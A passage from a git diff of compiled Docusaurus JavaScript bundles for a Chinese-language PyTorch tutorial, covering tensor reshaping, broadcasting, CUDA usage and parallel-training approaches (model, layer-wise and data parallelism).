0.7884])\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u4e0a\u9762\u6211\u4eec\u8bf4\u8fc7torch.view()\u4f1a\u6539\u53d8\u539f\u59cb\u5f20\u91cf\uff0c\u4f46\u662f\u5f88\u591a\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u5e0c\u671b\u539f\u59cb\u5f20\u91cf\u548c\u53d8\u6362\u540e\u7684\u5f20\u91cf\u4e92\u76f8\u4e0d\u5f71\u54cd\u3002\u4e3a\u4e3a\u4e86\u4f7f\u521b\u5efa\u7684\u5f20\u91cf\u548c\u539f\u59cb\u5f20\u91cf\uf967\u5171\u4eab\u5185\u5b58\uff0c\u6211\u4eec\u9700\u8981\u4f7f\u7528\u7b2c\u4e8c\u79cd\u65b9\u6cd5",(0,t.jsx)(e.code,{children:"torch.reshape()"}),"\uff0c \u540c\u6837\u53ef\u4ee5\u6539\u53d8\u5f20\u91cf\u7684\u5f62\u72b6\uff0c\u4f46\u662f\u6b64\u51fd\u6570\u5e76\u4e0d\u80fd\u4fdd\u8bc1\u8fd4\u56de\u7684\u662f\u5176\u62f7\u8d1d\u503c\uff0c\u6240\u4ee5\u5b98\u65b9\uf967\u63a8\u8350\u4f7f\u7528\u3002\u63a8\u8350\u7684\u65b9\u6cd5\u662f\u6211\u4eec\u5148\u7528 ",(0,t.jsx)(e.code,{children:"clone()"})," \u521b\u9020\u4e00\u4e2a\u5f20\u91cf\u526f\u672c\u7136\u540e\u518d\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"torch.view()"}),"\u8fdb\u884c\u51fd\u6570\u7ef4\u5ea6\u53d8\u6362 \u3002"]}),"\n",(0,t.jsxs)(e.p,{children:["\u6ce8\uff1a\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:"clone()"})," \u8fd8\u6709\u4e00\u4e2a\u597d\u5904\u662f\u4f1a\u88ab\u8bb0\u5f55\u5728\u8ba1\u7b97\u56fe\u4e2d\uff0c\u5373\u68af\u5ea6\u56de\u4f20\u5230\u526f\u672c\u65f6\u4e5f\u4f1a\u4f20\u5230\u6e90 Tensor \u3002\n3. \u53d6\u503c\u64cd\u4f5c\n\u5982\u679c\u6211\u4eec\u6709\u4e00\u4e2a\u5143\u7d20 ",(0,t.jsx)(e.code,{children:"tensor"})," \uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528 ",(0,t.jsx)(e.code,{children:".item()"})," \u6765\u83b7\u5f97\u8fd9\u4e2a ",(0,t.jsx)(e.code,{children:"value"}),"\uff0c\u800c\u4e0d\u83b7\u5f97\u5176\u4ed6\u6027\u8d28\uff1a"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"import torch\nx = torch.randn(1) \nprint(type(x)) \nprint(type(x.item()))\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"<class 'torch.Tensor'>\n<class 'float'>\n"})}),"\n",(0,t.jsxs)(e.p,{children:["PyTorch\u4e2d\u7684 Tensor \u652f\u6301\u8d85\u8fc7\u4e00\u767e\u79cd\u64cd\u4f5c\uff0c\u5305\u62ec\u8f6c\u7f6e\u3001\u7d22\u5f15\u3001\u5207\u7247\u3001\u6570\u5b66\u8fd0\u7b97\u3001\u7ebf\u6027\u4ee3\u6570\u3001\u968f\u673a\u6570\u7b49\u7b49\uff0c\u5177\u4f53\u4f7f\u7528\u65b9\u6cd5\u53ef\u53c2\u8003",(0,t.jsx)(e.a,{href:"https://pytorch.org/docs/stable/tensors.html",children:"\u5b98\u65b9\u6587\u6863"}),"\u3002"]}),"\n",(0,t.jsx)(e.h2,{id:"214-\u5e7f\u64ad\u673a\u5236",children:"2.1.4 \u5e7f\u64ad\u673a\u5236"}),"\n",(0,t.jsx)(e.p,{children:"\u5f53\u5bf9\u4e24\u4e2a\u5f62\u72b6\uf967\u540c\u7684 Tensor \u6309\u5143\u7d20\u8fd0\u7b97\u65f6\uff0c\u53ef\u80fd\u4f1a\u89e6\u53d1\u5e7f\u64ad(broadcasting)\u673a\u5236\uff1a\u5148\u9002\u5f53\u590d\u5236\u5143\u7d20\u4f7f\u8fd9\u4e24\u4e2a Tensor \u5f62\u72b6\u76f8\u540c\u540e\u518d\u6309\u5143\u7d20\u8fd0\u7b97\u3002"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"x = torch.arange(1, 3).view(1, 2)\nprint(x)\ny = torch.arange(1, 4).view(3, 1)\nprint(y)\nprint(x + y)\n"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"tensor([[1, 2]])\ntensor([[1],\n [2],\n [3]])\ntensor([[2, 3],\n [3, 4],\n [4, 5]])\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u7531\u4e8ex\u548cy\u5206\u522b\u662f1\ufa082\u5217\u548c3\ufa081\u5217\u7684\u77e9\u9635\uff0c\u5982\u679c\u8981\u8ba1\u7b97x+y\uff0c\u90a3\u4e48x\u4e2d\u7b2c\u4e00\ufa08\u76842\u4e2a\u5143\u7d20\u88ab\u5e7f\u64ad (\u590d\u5236)\u5230\uf9ba\u7b2c\u4e8c\ufa08\u548c\u7b2c\u4e09\ufa08\uff0c\u2f7dy\u4e2d\u7b2c\u2f00\uf99c\u76843\u4e2a\u5143\u7d20\u88ab\u5e7f\u64ad(\u590d\u5236)\u5230\u4e86\u7b2c\u4e8c\uf99c\u3002\u5982\u6b64\uff0c\u5c31\u53ef\u4ee5\u5bf92\u4e2a3\ufa082\uf99c\u7684\u77e9\u9635\u6309\u5143\u7d20\u76f8\u52a0\u3002"})]})}function x(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/56d324b1.a305458d.js b/en/assets/js/56d324b1.a305458d.js new file mode 100644 index 0000000..bd9a150 --- /dev/null +++ b/en/assets/js/56d324b1.a305458d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3572],{28453:(e,n,l)=>{l.d(n,{R:()=>r,x:()=>i});var d=l(96540);const s={},c=d.createContext(s);function r(e){const n=d.useContext(c);return d.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),d.createElement(c.Provider,{value:n},e.children)}},38296:(e,n,l)=>{l.r(n),l.d(n,{assets:()=>h,contentTitle:()=>i,default:()=>o,frontMatter:()=>r,metadata:()=>d,toc:()=>t});const d=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","title":"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/02.\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"2.2 \u81ea\u52a8\u6c42\u5bfc.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc"},"next":{"title":"2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907"}}');var s=l(74848),c=l(28453);const r={},i="2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md",h={},t=[{value:"2.3.1 \u4e3a\u4ec0\u4e48\u8981\u505a\u5e76\u884c\u8ba1\u7b97",id:"231--\u4e3a\u4ec0\u4e48\u8981\u505a\u5e76\u884c\u8ba1\u7b97",level:2},{value:"2.3.2 \u4e3a\u4ec0\u4e48\u9700\u8981CUDA",id:"232--\u4e3a\u4ec0\u4e48\u9700\u8981cuda",level:2},{value:"2.3.3 \u5e38\u89c1\u7684\u5e76\u884c\u7684\u65b9\u6cd5\uff1a",id:"233--\u5e38\u89c1\u7684\u5e76\u884c\u7684\u65b9\u6cd5",level:2},{value:"\u7f51\u7edc\u7ed3\u6784\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d(Network partitioning)",id:"\u7f51\u7edc\u7ed3\u6784\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2dnetwork-partitioning",level:3},{value:"\u540c\u4e00\u5c42\u7684\u4efb\u52a1\u5206\u5e03\u5230\u4e0d\u540c\u6570\u636e\u4e2d(Layer-wise partitioning)",id:"\u540c\u4e00\u5c42\u7684\u4efb\u52a1\u5206\u5e03\u5230\u4e0d\u540c\u6570\u636e\u4e2dlayer-wise-partitioning",level:3},{value:"\u4e0d\u540c\u7684\u6570\u636e\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d\uff0c\u6267\u884c\u76f8\u540c\u7684\u4efb\u52a1(Data parallelism)",id:"\u4e0d\u540c\u7684\u6570\u636e\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d\u6267\u884c\u76f8\u540c\u7684\u4efb\u52a1data-parallelism",level:3},{value:"2.3.4 \u4f7f\u7528CUDA\u52a0\u901f\u8bad\u7ec3",id:"234-\u4f7f\u7528cuda\u52a0\u901f\u8bad\u7ec3",level:2},{value:"\u5355\u5361\u8bad\u7ec3",id:"\u5355\u5361\u8bad\u7ec3",level:3},{value:"\u591a\u5361\u8bad\u7ec3",id:"\u591a\u5361\u8bad\u7ec3",level:3},{value:"\u5355\u673a\u591a\u5361DP",id:"\u5355\u673a\u591a\u5361dp",level:4},{value:"\u591a\u673a\u591a\u5361DDP",id:"\u591a\u673a\u591a\u5361ddp",level:4},{value:"DP \u4e0e DDP \u7684\u4f18\u7f3a\u70b9",id:"dp-\u4e0e-ddp-\u7684\u4f18\u7f3a\u70b9",level:3},{value:"DP \u7684\u4f18\u52bf",id:"dp-\u7684\u4f18\u52bf",level:4},{value:"DP \u7684\u7f3a\u70b9",id:"dp-\u7684\u7f3a\u70b9",level:4},{value:"DDP\u7684\u4f18\u52bf",id:"ddp\u7684\u4f18\u52bf",level:4},{value:"DDP \u7684\u7f3a\u70b9",id:"ddp-\u7684\u7f3a\u70b9",level:4},{value:"\u53c2\u8003\u8d44\u6599\uff1a",id:"\u53c2\u8003\u8d44\u6599",level:2}];function a(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"23-\u5e76\u884c\u8ba1\u7b97\u7b80\u4ecbmd",children:"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(n.h1,{id:"23-\u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb",children:"2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb"}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u5229\u7528PyTorch\u505a\u6df1\u5ea6\u5b66\u4e60\u7684\u8fc7\u7a0b\u4e2d\uff0c\u53ef\u80fd\u4f1a\u9047\u5230\u6570\u636e\u91cf\u8f83\u5927\u65e0\u6cd5\u5728\u5355\u5757GPU\u4e0a\u5b8c\u6210\uff0c\u6216\u8005\u9700\u8981\u63d0\u5347\u8ba1\u7b97\u901f\u5ea6\u7684\u573a\u666f\uff0c\u8fd9\u65f6\u5c31\u9700\u8981\u7528\u5230\u5e76\u884c\u8ba1\u7b97\u3002\u5b8c\u6210\u672c\u8282\u5185\u5bb9\u65f6\uff0c\u8bf7\u4f60\u786e\u4fdd\u81f3\u5c11\u5b89\u88c5\u4e86\u4e00\u4e2aNVIDIA GPU\u5e76\u5b89\u88c5\u4e86\u76f8\u5173\u7684\u9a71\u52a8\u3002"}),"\n",(0,s.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u5e76\u884c\u8ba1\u7b97\u7684\u7b80\u4ecb"}),"\n",(0,s.jsx)(n.li,{children:"CUDA\u7b80\u4ecb"}),"\n",(0,s.jsx)(n.li,{children:"\u5e76\u884c\u8ba1\u7b97\u7684\u4e09\u79cd\u5b9e\u73b0\u65b9\u5f0f"}),"\n",(0,s.jsx)(n.li,{children:"\u4f7f\u7528CUDA\u52a0\u901f\u8bad\u7ec3"}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"231--\u4e3a\u4ec0\u4e48\u8981\u505a\u5e76\u884c\u8ba1\u7b97",children:"2.3.1 \u4e3a\u4ec0\u4e48\u8981\u505a\u5e76\u884c\u8ba1\u7b97"}),"\n",(0,s.jsxs)(n.p,{children:["\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\u79bb\u4e0d\u5f00\u7b97\u529b\u7684\u53d1\u5c55\uff0cGPU\u7684\u51fa\u73b0\u8ba9\u6211\u4eec\u7684\u6a21\u578b\u53ef\u4ee5\u8bad\u7ec3\u7684\u66f4\u5feb\uff0c\u66f4\u597d\u3002\u6240\u4ee5\uff0c\u5982\u4f55\u5145\u5206\u5229\u7528GPU\u7684\u6027\u80fd\u6765\u63d0\u9ad8\u6211\u4eec\u6a21\u578b\u5b66\u4e60\u7684\u6548\u679c\uff0c\u8fd9\u4e00\u6280\u80fd\u662f\u6211\u4eec\u5fc5\u987b\u8981\u5b66\u4e60\u7684\u3002\u8fd9\u4e00\u8282\uff0c\u6211\u4eec\u4e3b\u8981\u8bb2\u7684\u5c31\u662fPyTorch\u7684\u5e76\u884c\u8ba1\u7b97\u3002PyTorch\u53ef\u4ee5\u5728\u7f16\u5199\u5b8c\u6a21\u578b\u4e4b\u540e\uff0c\u8ba9\u591a\u4e2aGPU\u6765\u53c2\u4e0e\u8bad\u7ec3\uff0c\u51cf\u5c11\u8bad\u7ec3\u65f6\u95f4\u3002\u4f60\u53ef\u4ee5\u5728\u547d\u4ee4\u884c\u4f7f\u7528",(0,s.jsx)(n.code,{children:"nvidia-smi"}),"\u547d\u4ee4\u6765\u67e5\u770b\u4f60\u7684GPU\u4fe1\u606f\u548c\u4f7f\u7528\u60c5\u51b5\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"232--\u4e3a\u4ec0\u4e48\u9700\u8981cuda",children:"2.3.2 \u4e3a\u4ec0\u4e48\u9700\u8981CUDA"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.code,{children:"CUDA"}),"\u662fNVIDIA\u63d0\u4f9b\u7684\u4e00\u79cdGPU\u5e76\u884c\u8ba1\u7b97\u6846\u67b6\u3002\u5bf9\u4e8eGPU\u672c\u8eab\u7684\u7f16\u7a0b\uff0c\u4f7f\u7528\u7684\u662f",(0,s.jsx)(n.code,{children:"CUDA"}),"\u8bed\u8a00\u6765\u5b9e\u73b0\u7684\u3002\u4f46\u662f\uff0c\u5728\u6211\u4eec\u4f7f\u7528PyTorch\u7f16\u5199\u6df1\u5ea6\u5b66\u4e60\u4ee3\u7801\u65f6\uff0c\u4f7f\u7528\u7684",(0,s.jsx)(n.code,{children:"CUDA"}),"\u53c8\u662f\u53e6\u4e00\u4e2a\u610f\u601d\u3002\u5728PyTorch\u4f7f\u7528 ",(0,s.jsx)(n.code,{children:"CUDA"}),"\u8868\u793a\u8981\u5f00\u59cb\u8981\u6c42\u6211\u4eec\u7684\u6a21\u578b\u6216\u8005\u6570\u636e\u5f00\u59cb\u4f7f\u7528GPU\u4e86\u3002"]}),"\n",(0,s.jsxs)(n.p,{children:["\u5728\u7f16\u5199\u7a0b\u5e8f\u4e2d\uff0c\u5f53\u6211\u4eec\u4f7f\u7528\u4e86 ",(0,s.jsx)(n.code,{children:".cuda()"})," \u65f6\uff0c\u5176\u529f\u80fd\u662f\u8ba9\u6211\u4eec\u7684\u6a21\u578b\u6216\u8005\u6570\u636e\u4eceCPU\u8fc1\u79fb\u5230GPU\u4e0a\uff08\u9ed8\u8ba4\u662f0\u53f7GPU\uff09\u5f53\u4e2d\uff0c\u901a\u8fc7GPU\u5f00\u59cb\u8ba1\u7b97\u3002"]}),"\n",(0,s.jsx)(n.p,{children:"\u6ce8\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\u6211\u4eec\u4f7f\u7528GPU\u65f6\u4f7f\u7528\u7684\u662f",(0,s.jsx)(n.code,{children:".cuda()"}),"\u800c\u4e0d\u662f\u4f7f\u7528",(0,s.jsx)(n.code,{children:".gpu()"}),"\u3002\u8fd9\u662f\u56e0\u4e3a\u5f53\u524dGPU\u7684\u7f16\u7a0b\u63a5\u53e3\u91c7\u7528CUDA\uff0c\u4f46\u662f\u5e02\u9762\u4e0a\u7684GPU\u5e76\u4e0d\u662f\u90fd\u652f\u6301CUDA\uff0c\u53ea\u6709\u90e8\u5206NVIDIA\u7684GPU\u624d\u652f\u6301\uff0cAMD\u7684GPU\u7f16\u7a0b\u63a5\u53e3\u91c7\u7528\u7684\u662fOpenCL\uff0c\u5728\u73b0\u9636\u6bb5PyTorch\u5e76\u4e0d\u652f\u6301\u3002"]}),"\n",(0,s.jsx)(n.li,{children:"\u6570\u636e\u5728GPU\u548cCPU\u4e4b\u95f4\u8fdb\u884c\u4f20\u9012\u65f6\u4f1a\u6bd4\u8f83\u8017\u65f6\uff0c\u6211\u4eec\u5e94\u5f53\u5c3d\u91cf\u907f\u514d\u6570\u636e\u7684\u5207\u6362\u3002"}),"\n",(0,s.jsx)(n.li,{children:"GPU\u8fd0\u7b97\u5f88\u5feb\uff0c\u4f46\u662f\u5728\u4f7f\u7528\u7b80\u5355\u7684\u64cd\u4f5c\u65f6\uff0c\u6211\u4eec\u5e94\u8be5\u5c3d\u91cf\u4f7f\u7528CPU\u53bb\u5b8c\u6210\u3002"}),"\n",(0,s.jsxs)(n.li,{children:["\u5f53\u6211\u4eec\u7684\u670d\u52a1\u5668\u4e0a\u6709\u591a\u4e2aGPU\uff0c\u6211\u4eec\u5e94\u8be5\u6307\u660e\u6211\u4eec\u4f7f\u7528\u7684GPU\u662f\u54ea\u4e00\u5757\uff0c\u5982\u679c\u6211\u4eec\u4e0d\u8bbe\u7f6e\u7684\u8bdd\uff0ctensor.cuda()\u65b9\u6cd5\u4f1a\u9ed8\u8ba4\u5c06tensor\u4fdd\u5b58\u5230\u7b2c\u4e00\u5757GPU\u4e0a\uff0c\u7b49\u4ef7\u4e8etensor.cuda(0)\uff0c\u8fd9\u5c06\u6709\u53ef\u80fd\u5bfc\u81f4\u7206\u51fa",(0,s.jsx)(n.code,{children:"out of memory"}),"\u7684\u9519\u8bef\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u4e24\u79cd\u65b9\u5f0f\u7ee7\u7eed\u8bbe\u7f6e\u3002\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:' #\u8bbe\u7f6e\u5728\u6587\u4ef6\u6700\u5f00\u59cb\u90e8\u5206\nimport os\nos.environ["CUDA_VISIBLE_DEVICE"] = "2" # \u8bbe\u7f6e\u9ed8\u8ba4\u7684\u663e\u5361\n'})}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-bash",children:" CUDA_VISBLE_DEVICE=0,1 python train.py # \u4f7f\u75280\uff0c1\u4e24\u5757GPU\n"})}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"233--\u5e38\u89c1\u7684\u5e76\u884c\u7684\u65b9\u6cd5",children:"2.3.3 \u5e38\u89c1\u7684\u5e76\u884c\u7684\u65b9\u6cd5\uff1a"}),"\n",(0,s.jsx)(n.h3,{id:"\u7f51\u7edc\u7ed3\u6784\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2dnetwork-partitioning",children:"\u7f51\u7edc\u7ed3\u6784\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d(Network partitioning)"}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u521a\u5f00\u59cb\u505a\u6a21\u578b\u5e76\u884c\u7684\u65f6\u5019\uff0c\u8fd9\u4e2a\u65b9\u6848\u4f7f\u7528\u7684\u6bd4\u8f83\u591a\u3002\u5176\u4e2d\u4e3b\u8981\u7684\u601d\u8def\u662f\uff0c\u5c06\u4e00\u4e2a\u6a21\u578b\u7684\u5404\u4e2a\u90e8\u5206\u62c6\u5206\uff0c\u7136\u540e\u5c06\u4e0d\u540c\u7684\u90e8\u5206\u653e\u5165\u5230GPU\u6765\u505a\u4e0d\u540c\u4efb\u52a1\u7684\u8ba1\u7b97\u3002\u5176\u67b6\u6784\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"\u6a21\u578b\u5e76\u884c.png",src:l(69439).A+"",width:"451",height:"785"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u91cc\u9047\u5230\u7684\u95ee\u9898\u5c31\u662f\uff0c\u4e0d\u540c\u6a21\u578b\u7ec4\u4ef6\u5728\u4e0d\u540c\u7684GPU\u4e0a\u65f6\uff0cGPU\u4e4b\u95f4\u7684\u4f20\u8f93\u5c31\u5f88\u91cd\u8981\uff0c\u5bf9\u4e8eGPU\u4e4b\u95f4\u7684\u901a\u4fe1\u662f\u4e00\u4e2a\u8003\u9a8c\u3002\u4f46\u662fGPU\u7684\u901a\u4fe1\u5728\u8fd9\u79cd\u5bc6\u96c6\u4efb\u52a1\u4e2d\u5f88\u96be\u529e\u5230\uff0c\u6240\u4ee5\u8fd9\u4e2a\u65b9\u5f0f\u6162\u6162\u6de1\u51fa\u4e86\u89c6\u91ce\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u540c\u4e00\u5c42\u7684\u4efb\u52a1\u5206\u5e03\u5230\u4e0d\u540c\u6570\u636e\u4e2dlayer-wise-partitioning",children:"\u540c\u4e00\u5c42\u7684\u4efb\u52a1\u5206\u5e03\u5230\u4e0d\u540c\u6570\u636e\u4e2d(Layer-wise partitioning)"}),"\n",(0,s.jsx)(n.p,{children:"\u7b2c\u4e8c\u79cd\u65b9\u5f0f\u5c31\u662f\uff0c\u540c\u4e00\u5c42\u7684\u6a21\u578b\u505a\u4e00\u4e2a\u62c6\u5206\uff0c\u8ba9\u4e0d\u540c\u7684GPU\u53bb\u8bad\u7ec3\u540c\u4e00\u5c42\u6a21\u578b\u7684\u90e8\u5206\u4efb\u52a1\u3002\u5176\u67b6\u6784\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"\u62c6\u5206.png",src:l(50655).A+"",width:"761",height:"809"})}),"\n",(0,s.jsx)(n.p,{children:"\u8fd9\u6837\u53ef\u4ee5\u4fdd\u8bc1\u5728\u4e0d\u540c\u7ec4\u4ef6\u4e4b\u95f4\u4f20\u8f93\u7684\u95ee\u9898\uff0c\u4f46\u662f\u5728\u6211\u4eec\u9700\u8981\u5927\u91cf\u7684\u8bad\u7ec3\uff0c\u540c\u6b65\u4efb\u52a1\u52a0\u91cd\u7684\u60c5\u51b5\u4e0b\uff0c\u4f1a\u51fa\u73b0\u548c\u7b2c\u4e00\u79cd\u65b9\u5f0f\u4e00\u6837\u7684\u95ee\u9898\u3002"}),"\n",(0,s.jsx)(n.h3,{id:"\u4e0d\u540c\u7684\u6570\u636e\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d\u6267\u884c\u76f8\u540c\u7684\u4efb\u52a1data-parallelism",children:"\u4e0d\u540c\u7684\u6570\u636e\u5206\u5e03\u5230\u4e0d\u540c\u7684\u8bbe\u5907\u4e2d\uff0c\u6267\u884c\u76f8\u540c\u7684\u4efb\u52a1(Data parallelism)"}),"\n",(0,s.jsx)(n.p,{children:"\u7b2c\u4e09\u79cd\u65b9\u5f0f\u6709\u70b9\u4e0d\u4e00\u6837\uff0c\u5b83\u7684\u903b\u8f91\u662f\uff0c\u6211\u4e0d\u518d\u62c6\u5206\u6a21\u578b\uff0c\u6211\u8bad\u7ec3\u7684\u65f6\u5019\u6a21\u578b\u90fd\u662f\u4e00\u6574\u4e2a\u6a21\u578b\u3002\u4f46\u662f\u6211\u5c06\u8f93\u5165\u7684\u6570\u636e\u62c6\u5206\u3002\u6240\u8c13\u7684\u62c6\u5206\u6570\u636e\u5c31\u662f\uff0c\u540c\u4e00\u4e2a\u6a21\u578b\u5728\u4e0d\u540cGPU\u4e2d\u8bad\u7ec3\u4e00\u90e8\u5206\u6570\u636e\uff0c\u7136\u540e\u518d\u5206\u522b\u8ba1\u7b97\u4e00\u90e8\u5206\u6570\u636e\u4e4b\u540e\uff0c\u53ea\u9700\u8981\u5c06\u8f93\u51fa\u7684\u6570\u636e\u505a\u4e00\u4e2a\u6c47\u603b\uff0c\u7136\u540e\u518d\u53cd\u4f20\u3002\u5176\u67b6\u6784\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"\u6570\u636e\u5e76\u884c.png",src:l(76452).A+"",width:"601",height:"835"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8fd9\u79cd\u65b9\u5f0f\u53ef\u4ee5\u89e3\u51b3\u4e4b\u524d\u6a21\u5f0f\u9047\u5230\u7684\u901a\u8baf\u95ee\u9898\u3002\u73b0\u5728\u7684\u4e3b\u6d41\u65b9\u5f0f\u662f",(0,s.jsx)(n.strong,{children:"\u6570\u636e\u5e76\u884c"}),"\u7684\u65b9\u5f0f(Data parallelism)"]}),"\n",(0,s.jsx)(n.h2,{id:"234-\u4f7f\u7528cuda\u52a0\u901f\u8bad\u7ec3",children:"2.3.4 